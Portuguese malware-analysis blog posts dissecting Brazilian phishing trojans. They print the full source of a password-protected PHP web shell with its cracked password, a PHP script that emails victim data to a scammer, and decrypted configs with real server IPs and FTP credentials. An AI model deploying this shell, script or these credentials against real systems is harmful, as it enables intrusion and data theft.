caso estejam afim de uma video analise, enviem seus artefatos para o email: desvendandomalware@gmail.com
Posts em Destaque
quarta-feira, 3 de julho de 2013
quinta-feira, 24 de janeiro de 2013
Dissecando Malware
Nesse artigo inicio a análise detalhada de um malware curioso, ao
invés de executar de uma só vez, ele faz execuções recursivas
para atingir seus objetivos. Em cada execução um novo bloco de
código é alcançado até chegar na função principal. Essa
estratégia pode ter sido utilizada para dificultar a análise ou
mesmo ser apenas um estilo de codificação.
O objetivo desse artigo é mostrar um pouco mais sobre as estruturas
internas dos malwares. O tópicos abordados nessa primeira parte
serão:
- O Phishing
- Os Imports
- Caminhos de execução
- 1ª Execução
- Uso de Mutex
- Mais validações
- Preparação para a 2ª Execução
- Algumas Considerações
Qualquer dúvida, sugestão, correção, será muito bem-vinda. E não deixe de acompanhar as novidades do blog no twitter: @crimescibernet.
Let's start!
O
Phishing
Tudo
começou com um e-mail se passando pela Receita Federal comunicando
que devido a um congestionamento nos sistemas, algumas declarações
haviam sido danificadas e era necessário verificar com o CPF se
houve problema ou não com a declaração. A velha fórmula de
engenharia social envolvendo assunto do momento mais a ameaça ao
usuário (medo).
O link
apontava para essa URL:
hxxp://receita-federal.mail333.su/Declaracao
2011.rar
Fiz o
donwload do RAR e descompactei, tratava-se do executável “Declaracao
2011.exe”. Estava compactado com o UPX e foi só utilizar o
“upx -d” para remover o packer. No Brasil ainda utilizam
bastante o UPX, será que só querem diminuir o tamanho do arquivo ou
acham que ele realmente é bom para ofuscação de código?
Submetendo
o arquivo descompactado ao Exeinfo PE e RDG Packer Detector a
linguagem de programação identificada foi Borland Delphi 2009-2010.
Fizeram um upgrade no Delphi, na maioria das vezes a versão é 6.0
ou 7.0.
Os
Imports
Agora sim
vamos iniciar a análise do código, as ferramentas que irei utilizar
serão o IDA Pro para análise estática e o OllyDbg para debugging
de alguns trechos do código.
Ao
carregar o arquivo no IDA a primeira coisa que fiz foi abrir a aba
Imports, ou seja, as funções que o malware importa da API do
Windows. Eram muitos imports, mas alguns me chamaram atenção:
MessageBoxA
QueryPerformanceCounter
GetTickCount
WriteFile
IsDebuggerPresent
GetEnvironmentVariableA
GetEnvironmentVariableW
DeleteFileW
CreateMutexA
ShellExecuteA
Os
imports de um programa dizem muito sobre suas funcionalidades. A
partir dessa pequena lista podemos deduzir muitas coisas, o uso do
MessageBoxA no diz que o malware em algum momento apresenta
uma mensagem para o usuário.
Ao ver
QueryPerformanceCounter e GetTickCount logo imaginei
que eram utilizadas para anti-debugging. Geralmente elas são
utilizadas na técnica de Time Check, onde o malware tira um
timestamp, realiza algumas instruções, tira outro timestamp e
compara os dois.
Se o
tempo decorrido for maior que o normal ele supõe que está rodando
dentro de um debugger, já que o debugger atrasa a execução do
código. E ainda também há o uso da função IsDebuggerPresent,
o nome já diz tudo. Estaríamos lidando com um malware com técnicas
anti-debugging? Veremos mais adiante.
WriteFile
e DeleteFile nos diz que o malware grava e apaga arquivo no
disco. GetEnvironmentVariable no mostra que o malware manipula
ou utiliza alguma variável de ambiente do SO.
CreateMutex
é a função que cria objetos que são compartilhados por processos,
isso para lidar com a concorrência, ou semáforo, entre os
processos. Veremos mais sobre ela adiante. ShellExecuteA
realiza operações em um arquivo, do tipo abrir, editar, imprimir,
etc.
O “A”
ou “W” que existe no final do nome das funções se referem a
“ASCII” ou “UNICODE” (Wide), respectivamente. Para descobrir
o que cada função faz, consulte o site da MSDN, pode-se buscar no
Google: “NomedaFuncao msdn”.
Apesar
dos muitos imports, algo me chamou atenção, não havia nenhum
import de API relacionada a funções de rede. Muito estranho para um
malware já que praticamente todos utilizam a Internet para se
comunicarem com um servidor C&C, baixarem mais pragas, enviarem
dados, etc. Somente havia imports das DLLs: kernel32, advapi32,
oleaut32, shell32 e user32.
Porém,
ao buscar as strings do malware, encontrei referências a DLLs com
funções de rede: WS2_32.DLL, MSWSOCK.DLL, Wship6.dll e
FwpucInt.dll. Então, essas DLLs devem ser carregadas pelo malware em
tempo de execução através da função LoadLibrary. Veremos
também sobre isso adiante.
Ainda
falando sobre as strings, encontrei algumas criptografadas, no
decorrer da análise veremos o uso delas.
Já temos
algumas informações sobre as funcionalidades do malware, hora de
seguir em frente e encarar o (dis)assembly!
Caminhos
de execução
Esse
malware funciona de maneira peculiar, ele é recursivo. Na verdade,
após a primeira execução originada pelo usuário ele se
auto-executa mais duas vezes. Em cada execução ele passa por
algumas validações e é direcionado para um caminho diferente de
código, até atingir o objetivo final.
Vamos
seguir as funções principais do código para entender melhor com
isso funciona. Abaixo o trecho inicial do código. Use essa imagem
para acompanhar o que está sendo explicado, esse é o fluxo
principal do programa, o Main Code.
1ª
Execução
Assim que
o malware é executado pelo usuário, é chamada uma função que
denominei FilePathInfo. Essa função é complexa, dentro dela
há chamadas para umas outras 20 funções, nesses casos para não
nos perdermos devemos abstrair e tentar entender o propósito geral
da função, para isso o debugger ajuda muito.
Descobri
que basicamente essa função busca o caminho da variável de
ambiente TEMP através da GetEnvironmentVariableA, como
podemos ver no código abaixo.
A string
“TEMP” está criptografada mas logo abaixo há a função de
descriptografia, com o debugger foi fácil obter o retorno. Esse tipo
de criptografia de strings já é bem
conhecido do blog.
E depois
ela obtém o caminho do executável com o uso da GetCommandLineW.
Feito isso ela compara os dois caminhos e retorna:
0 se
forem diferentes
1 se
forem iguais
Após a
chamada da função FilePathInfo há o teste do retorno no
Main Code:
call
FilePathInfo
test al,
al
jnz short
Continue
Jump if
Not Zero (jnz), se forem iguais pule para o bloco de código que
denominei “Continue”. Em outras palavras, testou se o malware
está sendo executado dentro do diretório TEMP. Como não está, vai
executar o bloco de código logo abaixo, apontado pela seta vermelha.
Uso de
Mutex
A próxima
instrução é a chamada para a função TestMutex (nomeada
por mim). Aqui teremos os uso do mutex. Mutex é um objeto criado no
kernel do Windows, esse objeto pode-se entender como uma string. Essa
string é utilizada por um programa (processo) para sinalizar a outro
(programa) alguma coisa.
Sabemos
que cada processo em user-mode tem seu espaço de memória reservado
e isolado dos demais, justamente para evitar que um interfira no
outro. Criar o mutex no kernel permite que todos os processos tenham
acesso a ele.
Essa
técnica é muito utilizada por malwares para garantir que somente
uma instância do processo esteja em execução, para evitar erros de
execução por exemplo. O processo antes de executar completamente
sempre verifica se o mutex já existe e se existir finaliza o
processo, sinal que já há outra instância do malware em execução.
Isso é
exatamente o que nosso artefato faz, dentro da função TestMutex
há o trecho de código abaixo.
Há o uso
de outra string criptografada que em texto simples significa
"SFIheg72". Esse será o nome do mutex. Depois há a
chamada à função CreateMutex da API do Windows. Se
consultarmos na MSDN o que essa função faz, diz o seguinte:
“Creates
or opens a named or unnamed mutex object.”
Então é
passado o nome do mutex para a função, se o mutex "SFIheg72"
não existir é criado um mutex com esse nome, caso contrário é
aberto o mutex já existente.
Como o
programa sabe se foi criado um novo ou se já existia? Buscando o
código de erro gerado pela função através da GetLastError.
Há uma tabela padrão no Windows com todos
os códigos de erros. Nessa tabela há:
Código
|
Constante
|
Descrição
|
0 (0x0)
|
ERROR_SUCCESS
|
A operação foi realizada com
sucesso.
|
183 (0xB7)
|
ERROR_ALREADY_EXISTS
|
Não é possível criar o arquivo
quando ele já existe.
|
No código
vemos que é feita uma comparação com o valor 0xB7, isso para
descobrir se o mutex já existe ou não. Baseado nessa comparação,
a função TestMutex irá retornar:
0 se o
mutex não existir (e criará o mutex)
1 se o
mutex existir (e retornará um handle para o mutex)
Note que
após a chamada da função no Main Code, é feita uma comparação
com o retorno no registrador AL. Jump if Zero (jz) “Continue”. E
se o valor não for zero, ou seja, o mutex já existe, o que quer
dizer que outra instância do malware já está sendo executada.
Nesse caso é chamada uma função que finaliza o processo com
ExitProcess.
Prosseguindo
com a execução, agora no bloco “Continue”, há novamente a
chamada para a função TestMutex. Dessa vez ela retornará 1
pois o mutex já existe, acabou de ser criado como vimos.
Mais
validações
Novamente
é chamada a função FilePathInfo e ela retornará 0, já que
o arquivo não está dentro do diretório TEMP. Não identifiquei a
necessidade de chamar a TestMutex e a FilePathInfo
nesse trecho de código.
Prosseguindo
no Main Code, é chamada a função que denominei GetToken.
Nessa função há uma série de chamadas a funções relacionadas
com o SID (Security Identifier) do processo em execução. Ficou meio
obscura a funcionalidade dela pra mim, mas de forma geral tem a ver
com as permissões de acesso do usuário que está executando o
processo, é feita algumas comparações relacionadas a isso.
Parece
que se o usuário não tiver privilégios suficientes o processo é
finalizado. Nos meus testes essa função sempre retornou 1, mas
vemos que se ela retornar 0 é chamado o código que prepara a
finalização do processo.
Abaixo a
continuação do Main Code para prosseguirmos com a análise.
Como a
GetToken retornou 1, a execução prosseguirá para a chamada
da FilePathInfo novamente. Como sabemos ela verifica se o
executável está dentro do TEMP e retorna 0 caso não esteja, que é
o valor retornado aqui.
O Jump
redirecionará para o bloco de código “ExecFile”. Esse por sua
vez chama a função rotulada por mim como ExecuteFile.
Preparação
para a 2ª Execução
A função
ExecuteFile possui diferentes caminhos com diferentes
validações, vamos passar pelas instruções mais interessantes.
Pouco
depois de armazenar espaço na pilha para as variáveis locais, a
função chama a FilePathInfo para testar se o executável
está no TEMP. Não estando lá é feito um jump para o bloco de
código que denominei “NotInTEMP”. Abaixo seguem as instruções
desse bloco.
Pelo nome
que coloquei nas funções já dá pra ter uma ideia do que elas
fazem. A GetTEMPVar busca o caminho do diretório %TEMP%,
ReturnPath busca o caminho completo do executável,
ReturnFileName retorna somente o nome do arquivo,
RemoveExtension retira do nome do arquivo a extensão, o
“.exe” (poderia ser ponto qualquer coisa).
Depois é
utilizada uma string criptografada que equivale a “.exe”. Por
fim, é chamada a função MakeNewPath que faz a concatenação
de tudo:
%TEMP% +
FileName + “.exe”
E em
seguida a GetNewPath retorna esse caminho:
C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\Declaracao
2011.exe
Após
construir o caminho é hora de salvar o arquivo em disco, isto é,
fazer uma cópia do arquivo no diretório TEMP. A função que faz
isso está logo abaixo, chamada de WriteMZFile.
Após
salvar em disco há uma chamada para a função GetOSVersion,
ela é responsável por verificar a versão do Windows, não sei
dizer se essa verificação foi adicionada pelo programador ou pelo
próprio compilador, o código dela está a seguir.
A função
GetVersionExW da API do Windows tem a seguinte definição:
“Retrieves
information about the current operating system. If the function
succeeds, the return value is a nonzero value. If the function fails,
the return value is zero.”
Como
parâmetro a função recebe uma estrutura de dados chamada de
VersionInformation que receberá as informações do sistema
operacional caso tenha sucesso. Essa estrutura possui o campo
dwMajorVersion que é o versão numérica principal do SO. Na
MSDN
há uma tabela com os nomes e versões possíveis para esse
campo.
Basicamente,
a versão será:
6 –
para Windows 7, Server 2008 e Vista.
5 –
para Windows 2000, XP, Server 2003.
Vemos no
código que há uma comparação com o 6 que determinará o valor do
EAX (AL). Se a versão for 6 o AL (EAX) receberá 1, caso contrário
receberá 0 (xor eax, eax).
E o EAX
será o retorno da GetOSVersion,
que após a chamada da função é utilizado em um “test”. No meu
caso, como estou utilizando o Windows XP, a versão retornada foi a 5
e consequentemente o EAX recebeu 0.
No
“test al, al” fui redirecionado pelo “JZ” para o bloco de
código “loc_4BC2D3”.
Vemos
no código o uso de uma string criptografada que em texto simples
equivale a “open”. E depois é obtido o novo caminho do arquivo
através da GetNewPath.
Enfim
vamos chegar na segunda execução do malware. Isso é feito com a
função ShellExecuteA.
Essa função executa uma operação e um arquivo específico e
possui 6 parâmetros:
HINSTANCE
ShellExecute(
__in_opt HWND hwnd,
__in_opt LPCTSTR lpOperation,
__in
LPCTSTR lpFile,
__in_opt LPCTSTR lpParameters,
__in_opt LPCTSTR lpDirectory,
__in
INT nShowCmd
);
Os
mais interessantes para nós são o lpOperation
(qual operação vai ser executada no arquivo), lpFile
(o arquivo utilizado) e lpParameters
(parâmetros passado para o arquivo, como em linha de comando). Para
saber mais sobre a função consulte
a MSDN.
No
código a seguir vemos a chamada da função com a passagem de
parâmetros através do 6 PUSHs.
Com
o OllyDbg conseguimos ver a chamada da função, e como é possível
imaginar, com os parâmetros ela ficará assim:
Isso vai
abrir (executar) o arquivo recém-criado no TEMP. Trata-se do mesmo
arquivo, mesmo MD5. Lembro que todo esse código está dentro da
ExecuteFile. Após o retorno dessa função, o processo
original (Main Code) é finalizado.
Algumas
considerações
Vimos que
em determinados trechos do código há a verificação se o arquivo
está no TEMP ou não, por causa disso nessa segunda execução o
malware percorrerá caminhos diferentes, o que fará com que ele
execute outras funções.
Outro
ponto a ser observado, imaginemos que estamos analisando o malware
com o debugger, linha a linha. O que acontecerá quando chegar na
função ShellExecute e dermos um step over? O malware será
executado sem que possamos debugá-lo já que será criado um novo
processo.
Por isso,
é importante entendermos seu funcionamento. Agora que sabemos o que
ele fez, se quisermos debugar essa segunda execução é só abrir o
executável a partir do TEMP.
Normalmente
não precisamos fazer uma análise detalhada assim, basta sabermos o
que o malware faz, mas quanto maior o conhecimento do baixo-nível
mais fácil será para obter o alto-nível.
Creditos: Ronaldo P. Lima ( http://www.crimesciberneticos.com/ )
quarta-feira, 2 de janeiro de 2013
Análise do Malware Intimação-MPF
Já está
circulando há um tempo mensagens de phishing que utilizam o nome do
Ministério Público Federal e do Departamento de Polícia Federal falando
de uma suposta intimação para comparecer em uma audiência. Hoje recebi
mais uma desse tipo e resolvi analisar, vamos ver o que conseguimos.
Identificação do Artefato
Ao clicar no link do e-mail foi feito o download do arquivo:
INTIMACAO-MPF.SCR.exe (MD5: 3168711d7cb3a7a7c1a037dfaa8a66a9)
O executável não possuia compactador e a linguagem de programação identificada foi Microsoft Visual Basic 5.0 / 6.0, assim o caminho estava livre para prosseguir.
Análise Estática
Ao abrir no IDA Pro e buscar pelas strings ficou fácil descobrir as intenções do artefato malicioso.
Vemos um endereço IP, várias URLs de bancos, referência ao arquivo hosts do Windows e por fim uma URL.
Só por isso já conseguimos imaginar o que o malware faz: insere
entradas no arquivo hosts para redirecionar para um site falso o acesso a
sites bancários.
Por
fim deve acessar a URL final para “avisar” que mais um caiu no golpe,
isso é bem comum e manjado. A análise dinâmica do artefato pode provar a
nossa teoria.
Análise Dinâmica
O
Regshot e o ProcessMonitor podem nos ajudar com isso, executei o
malware com as duas ferramentas abertas e obtive os seguintes
resultados.
Regshot: arquivos modificados na execução.
Process Monitor: processo do malware escrevendo no arquivo hosts.
No final da execução o malware automaticamente abriu o Internet Explorer com o site de cartões virtuais www.viacards.com.br (!).
Verficando o C:\Windows\system32\drivers\etc\hosts lá estavam as modificações.
Quando acessei o IP 200.98.201.19 não havia nenhuma página configurada mas buscando o endereço no Google encontrei o site Offensive IP Database dizendo que esse IP já estava envolvido em atividades maliciosas.
Análise Web
Buscando mais informações voltei para aquela última URL encontrada nas strings:
http://XXXXXX/cw/wp-includes/js/tinymce/themes/advanced/skins/default/topx.php
Tentei
listar o conteúdo da pasta onde estava a página php, isso seria
possível se não houvesse um arquivo index nela. Para a nossa sorte
realmente esqueceram do index e foram listados todos os arquivos.
Um
servidor web quando configurado para interpretar a linguagem de
programação PHP não exibe o código-fonte de um arquivo PHP e sim
interpreta a linguagem nele e mostra o resultado. Sendo assim mesmo a
pasta não tendo o index se clicarmos nos arquivos plx.php e topx.php não conseguiremos ver seu código-fonte.
Porém como vemos na listagem há também os arquivos plx.txt.1 e topx.tar
no mesmo diretório. Possivelmente são cópias dos arquivos originais e
como não estão com a extensão PHP podemos fazer download e ver todo seus
conteúdos. Isso é muita ingenuidade do golpista ou alguém já mexeu aí
antes.
Primeiramente analisando o arquivo plx.php é possível notar que se assemelha a um terminal shell em PHP que permite realizar comandos no servidor.
Nota-se que possui um campo adicional chamado Password. Tentei alguns comandos mas não funcionaram, então precisaria de uma senha para funcionar. Fiz o download do plx.txt.1 e obtive todo o código-fonte PHP do arquivo:
<?php
$md5pass = "ce00f65608bced062b083079d4b1e69c";
$password = $_POST["password"];
$command = $_POST["command"];
$changedir = $_POST["changedir"];
$remotephp = $_GET["remotephp"];
if (empty($password)) $password = $_GET["password"];
if (!empty($password)) { if (md5($password) != $md5pass) $password = ""; }
else $password = "";
if (!isset($changedir) || empty($password)) {
@ $changedir = exec("pwd");
} else {
@ chdir("$changedir");
@ $changedir = exec("pwd");
if (empty($changedir)) { $changedir = "/"; }
}
if (!empty($command) && !empty($password)) {
$command = stripslashes($command);
$temp = explode(" ", $command);
if ($temp[0] == "cd") {
$temp = explode(";", $command);
$changedir = exec("$temp[0]; pwd");
if (empty($changedir)) { $changedir = "/"; }
$command = "";
if (isset($temp[1])) {
$command = $temp[1];
for ($loop = 2; isset($temp[$loop]); $loop++) { $command .= "; $temp[$loop]"; }
}
}
}
?>
<html>
<head>
<title>4843term</title>
</head>
<body bcolor="#FFFFFF" text="#000000">
<font face="Fixedsys">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td align="left" valign="top">
<form method="post" name="terminal" action="<?php echo $PHP_SELF; ?>" target="_self">
<?php if (empty($password)) { echo " Password:<br>\n"; } ?>
<input type="<?php if (!empty($password)) { echo "hidden"; } else { echo "password"; } ?>" name="password" size="50"<?php if (!empty($password)) echo " value=\"$password\""; ?>><?php if (empty($password)) { echo "<br><br>\n"; } ?>
Directory:<br>
<input type="text" name="changedir" size="50"<?php if (isset($changedir)) echo " value=\"$changedir\""; ?>><br><br>
Command:<br>
<input type="text" name="command" size="50">
<input type="submit" value="Execute"><br>
<input type="checkbox" name="stderr"<?php if (isset($stderr) || !isset($command)) echo " checked"; ?>> Enable stderr-trappin
</form>
</td>
<td align="left" valign="center">
<pre>
4843term by Havenard
Version 1.050501 [01/May/2005]
Contact : havenard@hotmail.com
IRC : irc.brasnet.org
01010000 01001110 01010111
</pre>
</td>
</tr>
</table>
<br>
<pre>
<?php
if (md5($password) == $md5pass) {
@ chdir("$changedir");
$safe_mode = (bool)ini_get("safe_mode");
if (!$safe_mode) {
if (!empty($command)) {
ob_start();
if (!isset($OS) || ($OS != "Windows_NT"))
@passthru("$command 2>&1");
else
@passthru("$command");
$output = ob_get_contents();
ob_end_clean();
if (!empty($output))
echo str_replace(">", ">", str_replace("<", "<", $output));
}
}
else {
echo "Due to SafeMode, it's unable to execute commands!\n";
echo "Machine informations:\n";
echo "PHP: ".phpversion()."\n";
echo "Server: $SERVER_SOFTWARE $SERVER_VERSION\n";
$uname = @posix_uname();
if (!empty($uname)) {
while (list($info, $value) = each($uname))
echo "$value ";
echo "\n";
}
$uids = @posix_getlogin();
$euids = @posix_getlogin();
$uid = @posix_getuid();
$euid = @posix_geteuid();
$gid = @posix_getgid();
if (!empty($uid))
echo "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)\n";
}
if (!empty($remotephp)) include($remotephp);
}
?>
</pre>
<script> document.terminal.command.focus(); </script>
</body>
</html>
Vemos que autenticação dele se baseia em:
$md5pass = "ce00f65608bced062b083079d4b1e69c";
$password = $_POST["password"];
…
if (md5($password) == $md5pass) {
@ chdir("$changedir");
…
Se
o MD5 do password digitado for igual ao MD5 que está no código-fonte
ele libera os comandos digitados. Então basta sabermos que caracteres
correspodem a esse MD5 e conseguiremos o acesso. Hoje em dia é muito
comum os sites com cracks de hashs MD5, uma rápida busca no Google por
esse MD5 me retornou a string referente a esse hash.
ce00f65608bced062b083079d4b1e69c aihdffa
Inserindo esse password no shell PHP e o comando “ls -la” eis a saída:
Agora para ver o conteúdo do topx.php sem precisar baixar o arquivo tar basta darmos um “cat topx.php”.
Aqui o conteúdo total do arquivo topx.php:
<?php
$OSList = array
(
'Windows 3.11' => 'Win16',
'Windows 95' => '(Windows 95)|(Win95)|(Windows_95)',
'Windows 98' => '(Windows 98)|(Win98)',
'Windows 2000' => '(Windows NT 5.0)|(Windows 2000)',
'Windows XP' => '(Windows NT 5.1)|(Windows XP)',
'Windows Server 2003' => '(Windows NT 5.2)',
'Windows Vista' => '(Windows NT 6.0)',
'Windows 7' => '(Windows NT 7.0)',
'Windows 7' => '(Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT)',
'Windows ME' => 'Windows ME',
'Open BSD' => 'OpenBSD',
'Sun OS' => 'SunOS',
'Linux' => '(Linux)|(X11)',
'Mac OS' => '(Mac_PowerPC)|(Macintosh)',
'QNX' => 'QNX',
'BeOS' => 'BeOS',
'OS/2' => 'OS/2',
'Search Bot'=>'(nuhk)|(Googlebot)|(Yammybot)|(Openbot)|(Slurp)|(MSNBot)|(Ask Jeeves/Teoma)|(ia_archiver)'
);
foreach($OSList as $CurrOS=>$Match)
{
if (eregi($Match, $_SERVER['HTTP_USER_AGENT']))
{
break;
}
}
$useragent = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('|MSIE ([0-9].[0-9]{1,2})|',$useragent,$matched)) {
$browser_version=$matched[1];
$browser = 'IE';
} elseif (preg_match( '|Opera/([0-9].[0-9]{1,2})|',$useragent,$matched)) {
$browser_version=$matched[1];
$browser = 'Opera';
} elseif(preg_match('|Firefox/([0-9\.]+)|',$useragent,$matched)) {
$browser_version=$matched[1];
$browser = 'Firefox';
} elseif(preg_match('|Chrome/([0-9\.]+)|',$useragent,$matched)) {
$browser_version=$matched[1];
$browser = 'Chrome';
} elseif(preg_match('|Safari/([0-9\.]+)|',$useragent,$matched)) {
$browser_version=$matched[1];
$browser = 'Safari';
} else {
// browser not recognized!
$browser_version = 0;
$browser= 'other';
}
$ip = $_SERVER["REMOTE_ADDR"];
$to = "XXXXXXXXXXXXXXXXXXXXX";
$cabecalho ="From: ae (+Infect)";
$headers = "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: ++INFECT++ <no-reply@priv8.in>";
$conteudo.="<b>Navegador: </b>$browser $browser_version<br>$CurrOS<br> ";
@mail($to,"$cabecalho $ip $browser $browser_version ", "$conteudo", $headers);
Header("location: http://www.viacards.com.br")
?>
Ele
pega várias informações do computador da vítima: IP, browser, versão do
browser e sistema operacional. Envia por e-mail para o golpista
avisando que mais um caiu no golpe e por fim abre o site de cartões para
despistar.
Os
outros dois executáveis que estavam no diretório seguiam o mesmo padrão
desse analisado, a única diferença é o IP inserido no hosts que nesse caso foi o 96.126.116.39.
Um golpe simples e antigo mas que os bankers brasileiros ainda utilizam. Por enquanto estamos livres dos rootkits na MBR. :)
Creditos: Ronaldo P. Lima ( http://www.crimesciberneticos.com/ )
Até a próxima pessoal!
sábado, 29 de dezembro de 2012
Hacking Malware: 66 KB e muitos segredos
Esse
caso inicia-se com a análise de um arquivo malicioso de apenas 66 KB e
termina com a descoberta de um grande esquema de distribuição de
malwares e envio de phishings envolvendo dezenas de servidores.
Utilizaram-se
de criptografia para manter o esquema longe dos olhos de curiosos mas
mesmo assim foi possível descobri-lo. A vantagem de analisar malwares é
que geralmente em algum momento eles vão tentar “ligar pra casa” (call
home), isto é, tentar se conectar com algum servidor para atualização ou
envio de dados capturados, é aí que interceptamos e descobrimos as
informações mais interessantes.
Então vamos começar com a análise!
Coleta e identificação do artefato
Esse veio através de um phishing prometendo fotos inéditas da revista Playboy:
Ao clicar no link do e-mail foi feito download do arquivo:
doxsc74635.zip (MD5: 462fca2472b838992de865e303255f52)
Ao ser descompactado gerou:
doxsc74635.com (MD5: e26e1b50e94ed527bc30b39c1f50b550)
Usando
o PEiD para identificar o arquivo foi encontrada a presença do
compactador UPX. Para removê-lo é muito fácil basta utilizar a opção
“-d” do próprio UPX:
Agora sim o arquivo estava pronto para a análise, o PEiD identificou a linguagem de programação utilizada como Borland Delphi.
Descobrindo segredos
Dica: Na etapa da análise do malware estou utilizando o IDA Pro 5.0 Freeware em conjunto com o OllyDbg.
O Olly acho mais prático para realizar o debug do malware e o IDA é
muito melhor para visualizar as estruturas de código assembly, gerar
gráficos, editar, renomear funções e inserir comentários. Desta forma
uma ferramenta complementa a outra.
Ao buscar pelas strings no malware a primeira coisa que me chamou atenção foram as strings criptografadas.
Já
sabendo bem como funciona esse processo de criptografia de strings
resolvi descriptografá-las antes de continuar. O método que utilizei foi
o de encontrar a função que realiza esse processo dentro do malware,
alterar o código assembly e colocar breakpoint no retorno para pegar o
resultado no debug. Para mais informações veja os slides ou o vídeo da
minha palestra “Descriptografando Strings em Malwares”.
Adicionei
ao código do IDA em forma de comentários as strings obtidas em texto
simples no OllyDbg. Abaixo é possível ver como ficaram essas alterações
em azul mais claro:
Além
dessas strings teve uma outra que me chamou atenção, seguia um padrão
diferente utilizando apenas números hexadecimais e possuia cerca de 16
KB de tamanho, isso dá mais de 16 mil caracteres!
Outro detalhe, no campo Address vemos que ela está na seção .rsrc
(Resources) do executável, não é um lugar muito comum de se encontrar
uma string de usuário, geralmente elas ficam nas seções .text e .data. A
seção .rsrc costuma armazenar bitmaps, dialogs, ícones e strings do
sistema.
Com
um editor de executáveis (arquivo PE) podemos visualizar todas as
seções de um arquivo, duas ferramentas que fazem isso são o CFF Explorer e o PEBrowse Professional.
Abaixo vemos que dentro do diretório Resources há um tipo denominado
“HTMLFILE” e dentro dele há o SVCHOST que é o nome da resource que
armazena a string que havíamos encontrado.
Voltando
ao executável, ao verificarmos a lista de imports da biblioteca
KERNEL32.DLL encontramos referências a várias funções que lidam com a
seção resources: FindResourceA, LoadResource, SizeofResource,
LockResource e FreeResource.
Buscando as especificações da função FindResource no site da Microsoft vemos que ela recebe três parâmetros:
FindResource(hModule, lpName, lpType);
hModule: ponteiro para o arquivo PE, ou o header do arquivo;
lpName: nome da resource;
lpTYpe: tipo da resource;
Sabendo disso conseguimos encontrar dentro do malware onde esse recurso é utilizado, primeiro com a função FindResource para localizá-lo:
O retorno em EAX é um ponteiro para SVCHOST. E depois utilizando a LoadResource carrega a string para EAX:
Após a chamada dessas funções que eu nomeei de CarregaRESOURCE há a referência a um caminho de arquivo e logo depois o uso da função CreateFileA também da API KERNEL32.DLL conforme podemos ver abaixo:
Com isso presumo que essa string criptografada é salva no arquivo:
C:\WINDOWS\inf\asynceql.inf
Podemos confirmar isso com a análise dinâmica executando o malware e monitorando o processo, foi exatamente o que o Process Monitor nos mostrou:
E lá estava o arquivo salvo:
Agora
falta o principal, descobrir o que esse código esconde. Ao invés de
localizar a função que faz a descriptografia dentro do malware resolvi
executá-lo no OllyDbg e observar os valores na pilha (que é o local da
memória utilizado pelas funções), ela é visível no quadrante inferior
direito da janela principal do programa.
Então
quando o malware fizer o processo para reverter o código talvez salve
na pilha o resultado da função. Abri o arquivo e executei (F9),
verificando a pilha encontrei o que parece ser a string
descriptografada:
Mandei exibir a memória referente a essa string clicando com o botão direito em cima do endereço e selecionando “Follow in Dump”. Para melhor visualizar copiei o conteúdo e colei em um editor hexadecimal (HxD) mandando exibir apenas o Texto.
Na parte superior vemos o que parece ser o código HTML de um e-mail phishing, inclusive com assunto da mensagem:
Já na parte inferior encontramos informações mais interessantes, vários endereços de servidores web, inclusive com senhas:
Formatando o conteúdo é possível visualizar a mensagem de phishing gerada onde há um link para outro malware:
O próprio malware armazena uma outra mensagem de phishing, possivelmente para atuar como spammer.
Os demais dados descriptografados após o HTML são esses:
[Servidor001]
Servidor=http://189.1.171.125/~vcom/
Interface=data.php
[Servidor002]
Servidor=http://189.1.171.125/~vcom/
Interface=data.php
[Servidor003]
Servidor=http://189.1.171.125/~vcom/
Interface=data.php
[Servidor004]
Servidor=http://189.1.171.125/~vcom/
Interface=data.php
[Servidor005]
Servidor=
Interface=
[Servidor006]
Servidor=
Interface=
[Proprietario]
Nome=VCOM
[Imagens]
Caminho=http://i412.photobucket.com/albums/pp205/imagem_modular/
[Update]
Link=http://belezaeproeza.tempsite.ws/newfolder/
[Reenvio]
Link=reenvio.vetnew@gmail.com
Reenvio0=http://212.124.117.11/~matroska/sender/contacts/index.php;http://212.124.117.11/~matroska/sender/mailer/hotmail.php
Reenvio1=http://212.124.117.12/~matroska/sender/contacts/index.php;http://212.124.117.12/~matroska/sender/mailer/hotmail.php
Reenvio2=http://212.124.117.13/~matroska/sender/contacts/index.php;http://212.124.117.13/~matroska/sender/mailer/hotmail.php
Reenvio3=http://212.124.117.14/~matroska/sender/contacts/index.php;http://212.124.117.14/~matroska/sender/mailer/hotmail.php
Reenvio4=http://212.124.117.15/~matroska/sender/contacts/index.php;http://212.124.117.15/~matroska/sender/mailer/hotmail.php
Reenvio5=http://212.124.117.16/~matroska/sender/contacts/index.php;http://212.124.117.16/~matroska/sender/mailer/hotmail.php
Reenvio6=http://212.124.117.17/~matroska/sender/contacts/index.php;http://212.124.117.17/~matroska/sender/mailer/hotmail.php
Reenvio7=http://212.124.117.18/~matroska/sender/contacts/index.php;http://212.124.117.18/~matroska/sender/mailer/hotmail.php
Reenvio8=http://212.124.117.19/~matroska/sender/contacts/index.php;http://212.124.117.19/~matroska/sender/mailer/hotmail.php
Reenvio9=http://212.124.117.20/~matroska/sender/contacts/index.php;http://212.124.117.20/~matroska/sender/mailer/hotmail.php
[IpServidor01]
Servidor=189.1.171.125
Usuario=vcom_user
Senha=1q2w3e4r
IP=vcom_db
[IpServidor02]
Servidor=189.1.171.125
Usuario=vcom_user
Senha=1q2w3e4r
IP=vcom_db
[IpServidor03]
Servidor=189.1.171.125
Usuario=vcom_user
Senha=1q2w3e4r
IP=vcom_db
[EscapeFtp01]
Servidor=[EDITADO].dominiotemporario.com
Usuario=[EDITADO]
Senha=tda50103
Pasta=/public_html/escapes/
[EscapeFtp02]
Servidor=ftp.terragyn.com
Usuario=dantas
Senha=833876
Pasta=/public_html/
[EscapeFtp03]
Servidor=74.220.215.219
Usuario=carrosbr
Senha=GT54@!xzjh
Pasta=/public_html/escapes/
[Escapes]
Escapes0=http://www.[EDITADO].com.br/escapes/vcom/vcom.html
Escapes1=http://www.terragyn.com/vcom/vcom.html
Escapes2=http://74.220.215.219/~carrosbr/escapes/vcom/vcom.html
Então
até aqui já resolvemos o problema das strings criptografadas e
descobrimos o conteúdo que estava escondido na seção Resources do
malware, de posse dessas informações foi possível ir além e descobrir
